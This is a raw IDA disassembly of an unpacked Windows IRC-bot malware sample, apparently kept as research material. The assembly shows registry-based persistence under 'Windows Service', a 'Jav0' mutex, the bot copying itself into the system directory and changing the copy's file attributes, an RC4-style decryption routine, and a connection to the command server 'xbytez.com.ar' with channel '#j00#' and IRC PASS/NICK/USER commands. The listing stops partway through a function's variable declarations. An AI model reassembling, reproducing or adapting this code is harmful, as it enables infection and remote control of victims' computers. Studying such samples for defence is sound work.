;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : FBB1F54FC2C49181E643569B3871E4A7
; File Name : u:\work\fbb1f54fc2c49181e643569b3871e4a7_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000E5000 ( 937984.)
; Section size in file : 000E5000 ( 937984.)
; Offset to raw data for section: 00001000
; Flags C0000020: Text Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
_data segment para public 'CODE' use32
assume cs:_data
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: sub_401404+346p
; sub_411DDE+1Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov ebx, offset aWindowsService ; "Windows Service"
loc_401010: ; CODE XREF: sub_401000+6Aj
lea eax, [ebp+var_4]
push edi
push eax
push edi
push 0F003Fh
push edi
push edi
push edi
push off_437054[esi]
push dword_437050[esi]
call dword_4D661C ; RegCreateKeyExA
cmp [ebp+arg_0], edi
jz short loc_401051
push [ebp+arg_0]
call sub_414EC0
pop ecx
push eax
push [ebp+arg_0]
push 1
push edi
push ebx
push [ebp+var_4]
call dword_4D668C ; RegSetValueExA
jmp short loc_40105B
; ---------------------------------------------------------------------------
loc_401051: ; CODE XREF: sub_401000+33j
push ebx
push [ebp+var_4]
call dword_4D65CC ; RegDeleteValueA
loc_40105B: ; CODE XREF: sub_401000+4Fj
push [ebp+var_4]
call dword_4D6644 ; RegCloseKey
add esi, 8
cmp esi, 18h
jb short loc_401010
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401071 proc near ; CODE XREF: sub_4010AA+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
or esi, 0FFFFFFFFh
test edi, edi
jz short loc_4010A3
mov ecx, 0FFh
push ebx
loc_401088: ; CODE XREF: sub_401071+2Fj
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_434020[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401088
pop ebx
loc_4010A3: ; CODE XREF: sub_401071+Fj
mov eax, esi
pop edi
not eax
pop esi
retn
sub_401071 endp
; =============== S U B R O U T I N E =======================================
sub_4010AA proc near ; CODE XREF: sub_410C53+23Fp
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_415090
mov [esp+10h+var_10], offset dword_437068
push [esp+10h+arg_0]
mov esi, eax
call sub_4176E0
mov edi, eax
pop ecx
test edi, edi
pop ecx
jnz short loc_4010F5
loc_4010CF: ; CODE XREF: sub_4010AA+37j
xor eax, eax
jmp short loc_401116
; ---------------------------------------------------------------------------
loc_4010D3: ; CODE XREF: sub_4010AA+4Fj
inc ebx
push ebx
push esi
call sub_415580
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010CF
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_4173D0
add esp, 10h
loc_4010F5: ; CODE XREF: sub_4010AA+23j
test byte ptr [edi+0Ch], 10h
jz short loc_4010D3
dec ebx
push ebx
push esi
call sub_401071
push esi
mov ebx, eax
call sub_415C20
push edi
call sub_414F40
add esp, 10h
mov eax, ebx
loc_401116: ; CODE XREF: sub_4010AA+27j
pop edi
pop esi
pop ebx
retn
sub_4010AA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 240h
push ebx
push esi
lea eax, [ebp-34h]
push edi
xor ebx, ebx
push eax
xor edi, edi
mov byte ptr [ebp-34h], 0Ah
mov byte ptr [ebp-33h], 0Eh
mov byte ptr [ebp-32h], 20h
mov byte ptr [ebp-31h], 48h
mov byte ptr [ebp-30h], 0Bh
mov byte ptr [ebp-2Fh], 2Bh
mov byte ptr [ebp-2Eh], 0Ch
mov byte ptr [ebp-2Dh], 23h
mov byte ptr [ebp-2Ch], 3Ah
mov byte ptr [ebp-2Bh], 27h
mov byte ptr [ebp-2Ah], 28h
mov byte ptr [ebp-29h], 5Eh
mov byte ptr [ebp-28h], 2Ah
mov byte ptr [ebp-27h], 1Eh
mov byte ptr [ebp-26h], 2Dh
mov byte ptr [ebp-25h], 5Ah
mov byte ptr [ebp-24h], 1Bh
mov byte ptr [ebp-23h], 0Fh
mov byte ptr [ebp-22h], 4Ch
mov byte ptr [ebp-21h], 44h
mov byte ptr [ebp-20h], 16h
mov byte ptr [ebp-1Fh], 4
mov byte ptr [ebp-1Eh], 57h
mov byte ptr [ebp-1Dh], 23h
mov byte ptr [ebp-1Ch], 11h
mov byte ptr [ebp-1Bh], 53h
mov byte ptr [ebp-1Ah], 38h
mov byte ptr [ebp-19h], 13h
mov byte ptr [ebp-18h], 0Dh
mov byte ptr [ebp-17h], 12h
mov byte ptr [ebp-16h], 25h
mov byte ptr [ebp-15h], 1Ch
mov byte ptr [ebp-14h], 30h
mov byte ptr [ebp-13h], 12h
mov byte ptr [ebp-12h], 50h
mov byte ptr [ebp-11h], 4Fh
mov byte ptr [ebp-10h], 39h
mov byte ptr [ebp-0Fh], 10h
mov byte ptr [ebp-0Eh], 42h
mov byte ptr [ebp-0Dh], 1Fh
mov byte ptr [ebp-0Ch], 37h
mov byte ptr [ebp-0Bh], 1Dh
mov byte ptr [ebp-0Ah], 41h
mov byte ptr [ebp-9], 55h
mov byte ptr [ebp-8], 2Ch
mov byte ptr [ebp-7], 41h
mov byte ptr [ebp-6], 2Ch
mov byte ptr [ebp-5], 58h
mov [ebp-4], bl
call sub_414EC0
mov esi, 101h
mov [ebp-38h], eax
push esi
lea eax, [ebp-13Ch]
push ebx
push eax
call sub_417700
push esi
lea eax, [ebp-240h]
push ebx
push eax
call sub_417700
add esp, 1Ch
xor eax, eax
mov ecx, 100h
loc_401224: ; CODE XREF: .data:0040122Ej
mov [ebp+eax-13Ch], al
inc eax
cmp eax, ecx
jb short loc_401224
cmp [ebp+14h], ebx
jz short loc_401253
xor eax, eax
loc_401237: ; CODE XREF: .data:0040124Fj
cmp edi, [ebp+14h]
jnz short loc_40123E
xor edi, edi
loc_40123E: ; CODE XREF: .data:0040123Aj
mov edx, [ebp+10h]
mov dl, [edi+edx]
inc edi
mov [ebp+eax-240h], dl
inc eax
cmp eax, ecx
jb short loc_401237
jmp short loc_40126D
; ---------------------------------------------------------------------------
loc_401253: ; CODE XREF: .data:00401233j
xor esi, esi
loc_401255: ; CODE XREF: .data:0040126Bj
cmp edi, [ebp-38h]
jnz short loc_40125C
xor edi, edi
loc_40125C: ; CODE XREF: .data:00401258j
mov al, [ebp+edi-34h]
inc edi
mov [ebp+esi-240h], al
inc esi
cmp esi, ecx
jb short loc_401255
loc_40126D: ; CODE XREF: .data:00401251j
mov [ebp+14h], ebx
xor edi, edi
mov eax, 0FFh
loc_401277: ; CODE XREF: .data:004012A7j
mov ebx, [ebp+14h]
mov cl, [ebp+edi-240h]
lea esi, [ebp+edi-13Ch]
mov dl, [esi]
add ebx, edx
add ecx, ebx
and ecx, eax
inc edi
mov [ebp+14h], ecx
cmp edi, 100h
lea ecx, [ebp+ecx-13Ch]
mov bl, [ecx]
mov [esi], bl
mov [ecx], dl
jb short loc_401277
xor edi, edi
cmp [ebp+0Ch], edi
mov [ebp+14h], edi
mov [ebp+10h], edi
jbe short loc_4012FB
loc_4012B6: ; CODE XREF: .data:004012F9j
inc edi
and edi, eax
lea ecx, [ebp+edi-13Ch]
mov dl, [ecx]
mov bl, dl
add ebx, [ebp+14h]
and ebx, eax
mov esi, ebx
mov [ebp+14h], esi
lea esi, [ebp+esi-13Ch]
mov bl, [esi]
mov [ecx], bl
mov ebx, [ebp+10h]
mov [esi], dl
mov cl, [ecx]
mov esi, [ebp+8]
add ecx, edx
and ecx, eax
add esi, ebx
mov cl, [ebp+ecx-13Ch]
xor [esi], cl
inc ebx
cmp ebx, [ebp+0Ch]
mov [ebp+10h], ebx
jb short loc_4012B6
loc_4012FB: ; CODE XREF: .data:004012B4j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401300 proc near ; DATA XREF: sub_401404+14o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_4495AC
call dword_4D6700 ; closesocket
call sub_409826
call dword_4D65C0 ; WSACleanup
call dword_4D65C0 ; WSACleanup
mov ebx, dword_4E033C
push 64h
call ebx ; Sleep
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417700
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_417700
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset dword_44881C
mov [ebp+var_28], 1
mov [ebp+var_24], di
call dword_4E0338 ; GetSystemDirectoryA
lea eax, [ebp+var_158]
push esi
push eax
push edi
call dword_4E0334 ; GetModuleFileNameA
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call dword_4E0330 ; CreateProcessA
test eax, eax
jz short loc_4013C5
push 64h
call ebx ; Sleep
push [ebp+var_10]
mov esi, dword_4E032C
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_4013C5: ; CODE XREF: sub_401300+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_448818
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
call dword_4E0328 ; ExitProcess
pop edi
pop esi
pop ebx
loc_4013E8: ; DATA XREF: .data:00437004o
jmp $+5
push 0FFFFh
push 539h
call sub_412243
pop ecx
mov dword_4D63A0, eax
pop ecx
retn
sub_401300 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401404 proc near ; CODE XREF: sub_41AB00+121p
var_984 = byte ptr -984h
var_880 = byte ptr -880h
var_87F = byte ptr -87Fh
var_6F0 = byte ptr -6F0h
var_5F0 = byte ptr -5F0h
var_4EC = byte ptr -4ECh
var_3EC = byte ptr -3ECh
var_2E8 = byte ptr -2E8h
var_1E4 = byte ptr -1E4h
var_E0 = dword ptr -0E0h
var_D4 = dword ptr -0D4h
var_B4 = dword ptr -0B4h
var_B0 = word ptr -0B0h
var_9C = byte ptr -9Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 984h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_8], ebx
mov [ebp+var_C], ebx
mov [ebp+var_4], offset sub_401300
push [ebp+var_4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_4E036C
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4D63A4, eax
call esi ; GetTickCount
push eax
call sub_417DB0
pop ecx
call sub_4076E5
push 2
call dword_4D6714 ; SetErrorMode
push 7530h
push offset aJav0 ; "Jav0"
push ebx
push ebx
call dword_4E0368 ; CreateMutexA
push eax
call dword_4E0364 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_401484
push 1
call dword_4E0328 ; ExitProcess
loc_401484: ; CODE XREF: sub_401404+76j
lea eax, [ebp+var_880]
push eax
push 202h
call dword_4D65D8 ; WSAStartup
cmp eax, ebx
jnz loc_40199C
cmp [ebp+var_880], 2
jnz loc_401996
xor eax, eax
mov al, [ebp+var_87F]
cmp al, 2
jnz loc_401996
mov esi, 104h
lea eax, [ebp+var_3EC]
push esi
push eax
call dword_4E0338 ; GetSystemDirectoryA
lea eax, [ebp+var_2E8]
push esi
push eax
push ebx
call dword_4E0360 ; GetModuleHandleA
push eax
call dword_4E0334 ; GetModuleFileNameA
lea eax, [ebp+var_4EC]
push eax
lea eax, [ebp+var_6F0]
push eax
push ebx
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_417F80
lea eax, [ebp+var_4EC]
push eax
lea eax, [ebp+var_6F0]
push eax
push offset dword_437A44
lea eax, [ebp+var_5F0]
push esi
push eax
call sub_417E80
lea eax, [ebp+var_3EC]
push eax
lea eax, [ebp+var_2E8]
push eax
call sub_417E00
add esp, 30h
test eax, eax
jnz loc_4016E7
cmp dword_437090, ebx
mov esi, offset byte_4370EC
jz short loc_40157C
push esi
xor edi, edi
call sub_414EC0
sub eax, 4
pop ecx
jz short loc_40157C
loc_401559: ; CODE XREF: sub_401404+176j
call sub_417DC0
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_4370EC[edi], dl
inc edi
call sub_414EC0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401559
loc_40157C: ; CODE XREF: sub_401404+145j
; sub_401404+153j
lea eax, [ebp+var_3EC]
push esi
push eax
lea eax, [ebp+var_1E4]
push offset dword_437A4C
push eax
call sub_417CB0
add esp, 10h
lea eax, [ebp+var_1E4]
push eax
call dword_4E035C ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_4015BC
lea eax, [ebp+var_1E4]
push 80h
push eax
call dword_4E0358 ; SetFileAttributesA
loc_4015BC: ; CODE XREF: sub_401404+1A4j
mov esi, dword_4E0354
xor edi, edi
jmp short loc_4015E8
; ---------------------------------------------------------------------------
loc_4015C6: ; CODE XREF: sub_401404+1F7j
call dword_4E0350 ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_4015FD
cmp eax, 20h
jz short loc_4015DA
cmp eax, 5
jnz short loc_4015FD
loc_4015DA: ; CODE XREF: sub_401404+1CFj
xor edi, edi
push 3A98h
inc edi
call dword_4E033C ; Sleep
loc_4015E8: ; CODE XREF: sub_401404+1C0j
lea eax, [ebp+var_1E4]
push ebx
push eax
lea eax, [ebp+var_2E8]
push eax
call esi ; CopyFileA
test eax, eax
jz short loc_4015C6
loc_4015FD: ; CODE XREF: sub_401404+1CAj
; sub_401404+1D4j
lea eax, [ebp+var_1E4]
push eax
call sub_411C9A
pop ecx
lea eax, [ebp+var_1E4]
push 7
push eax
call dword_4E0358 ; SetFileAttributesA
push 10h
lea eax, [ebp+var_1C]
push ebx
push eax
call sub_417700
push 44h
lea eax, [ebp+var_E0]
pop esi
push esi
push ebx
push eax
call sub_417700
mov [ebp+var_E0], esi
xor esi, esi
inc esi
add esp, 18h
mov [ebp+var_D4], offset byte_4D651C
mov [ebp+var_B4], esi
mov [ebp+var_B0], bx
call dword_4E034C ; GetCurrentProcessId
push eax
push esi
push 100000h
call dword_4E0348 ; OpenProcess
lea ecx, [ebp+var_2E8]
push ecx
push eax
lea eax, [ebp+var_1E4]
push eax
lea eax, [ebp+var_984]
push offset dword_437A54
push eax
call sub_417CB0
add esp, 14h
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_E0]
push eax
lea eax, [ebp+var_3EC]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp+var_984]
push ebx
push eax
lea eax, [ebp+var_1E4]
push eax
call dword_4E0330 ; CreateProcessA
test eax, eax
jz short loc_4016E7
push 0C8h
call dword_4E033C ; Sleep
push [ebp+var_1C]
mov esi, dword_4E032C
call esi ; CloseHandle
push [ebp+var_18]
call esi ; CloseHandle
call dword_4D65C0 ; WSACleanup
push ebx
call dword_4E0328 ; ExitProcess
loc_4016E7: ; CODE XREF: sub_401404+134j
; sub_401404+2B9j
cmp dword_4DDF94, 2
jle short loc_401733
mov eax, dword_4DDF98
push dword ptr [eax+4]
call sub_417960
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call dword_4E0364 ; WaitForSingleObject
push esi
call dword_4E032C ; CloseHandle
mov eax, dword_4DDF98
cmp [eax+8], ebx
jz short loc_401733
push 7D0h
call dword_4E033C ; Sleep
mov eax, dword_4DDF98
push dword ptr [eax+8]
call dword_4E0344 ; DeleteFileA
loc_401733: ; CODE XREF: sub_401404+2EAj
; sub_401404+314j
cmp dword_437094, ebx
jz short loc_401750
cmp dword_4D6734, ebx
jnz short loc_401750
lea eax, [ebp+var_5F0]
push eax
call sub_401000
pop ecx
loc_401750: ; CODE XREF: sub_401404+335j
; sub_401404+33Dj
lea eax, [ebp+var_9C]
push offset dword_437A60
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_9C]
push ebx
push eax
call sub_409663
lea eax, [ebp+var_9C]
push eax
call sub_40F927
push 0B80h
push ebx
push offset dword_448820
call sub_417700
lea eax, [ebp+var_9C]
push offset unk_437A7C
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_9C]
push 1
push eax
call sub_409663
add esp, 38h
mov esi, eax
mov edi, dword_4E0340
lea eax, [ebp+var_8]
push eax
push ebx
push ebx
push offset sub_413B48
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_4495B4[esi], eax
jnz short loc_4017F0
call dword_4E0350 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_9C]
push offset unk_437AA0
push eax
call sub_417CB0
add esp, 0Ch
loc_4017F0: ; CODE XREF: sub_401404+3CFj
lea eax, [ebp+var_9C]
push eax
call sub_40F927
push 2
call sub_4098A5
pop ecx
test eax, eax
pop ecx
jnz short loc_401875
lea eax, [ebp+var_9C]
push offset dword_437AE0
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_9C]
push 2
push eax
call sub_409663
add esp, 14h
mov esi, eax
lea eax, [ebp+var_8]
push eax
push ebx
push esi
push offset sub_40E91A
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_4495B4[esi], eax
jnz short loc_401868
call dword_4E0350 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_9C]
push offset dword_437B0C
push eax
call sub_417CB0
add esp, 0Ch
loc_401868: ; CODE XREF: sub_401404+447j
lea eax, [ebp+var_9C]
push eax
call sub_40F927
pop ecx
loc_401875: ; CODE XREF: sub_401404+403j
call sub_417DC0
push 7Fh
and eax, 3
push offset aXbytez_com_ar ; "xbytez.com.ar"
push offset dword_4D63AC
mov dword_4D6518, eax
call sub_417760
mov eax, dword_437070
push 3Fh
mov edi, offset dword_4D642C
push offset aJ00 ; "#j00#"
push edi
mov dword_4D64FC, eax
call sub_417760
push 3Fh
mov esi, offset dword_4D646C
push offset byte_4D650C
push esi
call sub_417760
mov dword_4D6500, ebx
loc_4018C7: ; CODE XREF: sub_401404+53Ej
; sub_401404+588j
add esp, 24h
loc_4018CA: ; CODE XREF: sub_401404+546j
mov [ebp+var_4], ebx
loc_4018CD: ; CODE XREF: sub_401404+4FFj
push offset dword_4D63A8
mov dword_4D6514, ebx
call sub_4019A5
cmp eax, 2
jz loc_401991
cmp dword_4D6514, ebx
jz short loc_4018F1
dec [ebp+var_4]
loc_4018F1: ; CODE XREF: sub_401404+4E8j
push 0BB8h
call dword_4E033C ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_4018CD
cmp [ebp+var_C], ebx
jz short loc_401944
push 7Fh
push offset aXbytez_com_ar ; "xbytez.com.ar"
push offset dword_4D63AC
call sub_417760
mov eax, dword_437070
push 3Fh
push offset aJ00 ; "#j00#"
push edi
mov dword_4D64FC, eax
call sub_417760
push 3Fh
push offset byte_4D650C
push esi
call sub_417760
mov [ebp+var_C], ebx
jmp short loc_4018C7
; ---------------------------------------------------------------------------
loc_401944: ; CODE XREF: sub_401404+504j
cmp byte_4D650D, bl
jz loc_4018CA
push 7Fh
push offset byte_4D650D
push offset dword_4D63AC
call sub_417760
mov eax, dword_437074
push 3Fh
push offset byte_4D650E
push edi
mov dword_4D64FC, eax
call sub_417760
push 3Fh
push offset byte_4D650F
push esi
call sub_417760
mov [ebp+var_C], 1
jmp loc_4018C7
; ---------------------------------------------------------------------------
loc_401991: ; CODE XREF: sub_401404+4DCj
call sub_409826
loc_401996: ; CODE XREF: sub_401404+A1j
; sub_401404+B1j
call dword_4D65C0 ; WSACleanup
loc_40199C: ; CODE XREF: sub_401404+94j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
sub_401404 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4019A5 proc near ; CODE XREF: sub_401404+4D4p
; DATA XREF: sub_401C87+4FACo
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_4019CA: ; CODE XREF: sub_4019A5+E6j
; sub_4019A5+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_417700
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_4D6668 ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_408766
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_401B07
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_417700
push 0
lea eax, [ebp+var_2C]
push dword_4370A4
push dword_4370A0
push eax
call sub_409361
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_4495B8
push edi
push eax
call sub_417760
add esp, 28h
push 6
push 1
push 2
call dword_4D66E8 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_4495AC[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_4D6610 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_401A90
push esi
call dword_4D6700 ; closesocket
call sub_40878F
push 7D0h
loc_401A85: ; CODE XREF: sub_4019A5+146j
call dword_4E033C ; Sleep
jmp loc_4019CA
; ---------------------------------------------------------------------------
loc_401A90: ; CODE XREF: sub_4019A5+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_437B40
call sub_40F99B
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401B0B
add esp, 28h
mov edi, eax
push esi
call dword_4D6700 ; closesocket
test edi, edi
jz loc_4019CA
cmp edi, 1
jnz short loc_401AED
push 0DBBA0h
jmp short loc_401A85
; ---------------------------------------------------------------------------
loc_401AED: ; CODE XREF: sub_4019A5+13Fj
cmp edi, 2
jnz loc_4019CA
push [ebp+var_34]
call sub_409979
pop ecx
push edi
pop eax
loc_401B01: ; CODE XREF: sub_4019A5+164j
pop edi
pop esi
leave
retn 4
; ---------------------------------------------------------------------------
loc_401B07: ; CODE XREF: sub_4019A5+5Aj
xor eax, eax
jmp short loc_401B01
sub_4019A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401B0B proc near ; CODE XREF: sub_4019A5+123p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call sub_4181D0
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_401B29: ; CODE XREF: sub_401B0B+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_401B29
cmp byte_4370D8, bl
jz short loc_401B50
push offset byte_4370D8
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_407604
add esp, 0Ch
loc_401B50: ; CODE XREF: sub_401B0B+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_409361
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_417CB0
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_4D66B8 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_401BBA
push [ebp+arg_0]
call dword_4D6700 ; closesocket
push 1388h
call dword_4E033C ; Sleep
loc_401BB3: ; CODE XREF: sub_401B0B+D9j
; sub_401B0B+153j
xor eax, eax
loc_401BB5: ; CODE XREF: sub_401B0B+16Fj
; sub_401B0B+177j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401BBA: ; CODE XREF: sub_401B0B+92j
; sub_401B0B+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A90]
push esi
push ebx
push eax
call sub_417700
add esp, 0Ch
lea eax, [ebp+var_1A90]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4D6680 ; recv
test eax, eax
jle short loc_401BB3
lea eax, [ebp+var_A90]
push eax
lea eax, [ebp+var_1A90]
push eax
call sub_41198E
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401BBA
lea edi, [ebp+var_A90]
loc_401C0B: ; CODE XREF: sub_401B0B+165j
xor esi, esi
inc esi
loc_401C0E: ; CODE XREF: sub_401B0B+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_2C0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_401C87
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401C51
push 7D0h
call dword_4E033C ; Sleep
jmp short loc_401C0E
; ---------------------------------------------------------------------------
loc_401C51: ; CODE XREF: sub_401B0B+137j
cmp esi, 0FFFFFFFDh
jz short loc_401C7F
cmp esi, 0FFFFFFFEh
jz short loc_401C77
cmp esi, 0FFFFFFFFh
jz loc_401BB3
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401C0B
jmp loc_401BBA
; ---------------------------------------------------------------------------
loc_401C77: ; CODE XREF: sub_401B0B+14Ej
xor eax, eax
inc eax
jmp loc_401BB5
; ---------------------------------------------------------------------------
loc_401C7F: ; CODE XREF: sub_401B0B+149j
push 2
pop eax
jmp loc_401BB5
sub_401B0B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401C87 proc near ; CODE XREF: sub_401B0B+12Ap
var_29B0 = byte ptr -29B0h
var_25B0 = byte ptr -25B0h
var_2420 = byte ptr -2420h
var_2220 = byte ptr -2220h
var_2120 = byte ptr -2120h
var_2020 = byte ptr -2020h
var_1E20 = byte ptr -1E20h
var_1E1C = byte ptr -1E1Ch
var_1D1C = byte ptr -1D1Ch
var_1CCC = dword ptr -1CCCh
var_1CC8 = byte ptr -1CC8h
var_1A41 = byte ptr -1A41h
var_1A40 = byte ptr -1A40h
var_193C = dword ptr -193Ch
var_1934 = dword ptr -1934h
var_1930 = dword ptr -1930h
var_192C = dword ptr -192Ch
var_1928 = dword ptr -1928h
var_1920 = dword ptr -1920h
var_191C = byte ptr -191Ch
var_1918 = byte ptr -1918h
var_1898 = byte ptr -1898h
var_1858 = byte ptr -1858h
var_17C8 = dword ptr -17C8h
var_17C4 = dword ptr -17C4h
var_17C0 = dword ptr -17C0h
var_17BC = dword ptr -17BCh
var_17B8 = dword ptr -17B8h
var_17B4 = byte ptr -17B4h
var_17B0 = dword ptr -17B0h
var_17AC = byte ptr -17ACh
var_172C = byte ptr -172Ch
var_16B0 = byte ptr -16B0h
var_1628 = byte ptr -1628h
var_15AC = dword ptr -15ACh
var_15A8 = dword ptr -15A8h
var_15A4 = dword ptr -15A4h
var_15A0 = byte ptr -15A0h
var_1524 = dword ptr -1524h
var_1520 = dword ptr -1520h
var_151C = dword ptr -151Ch
var_1518 = dword ptr -1518h
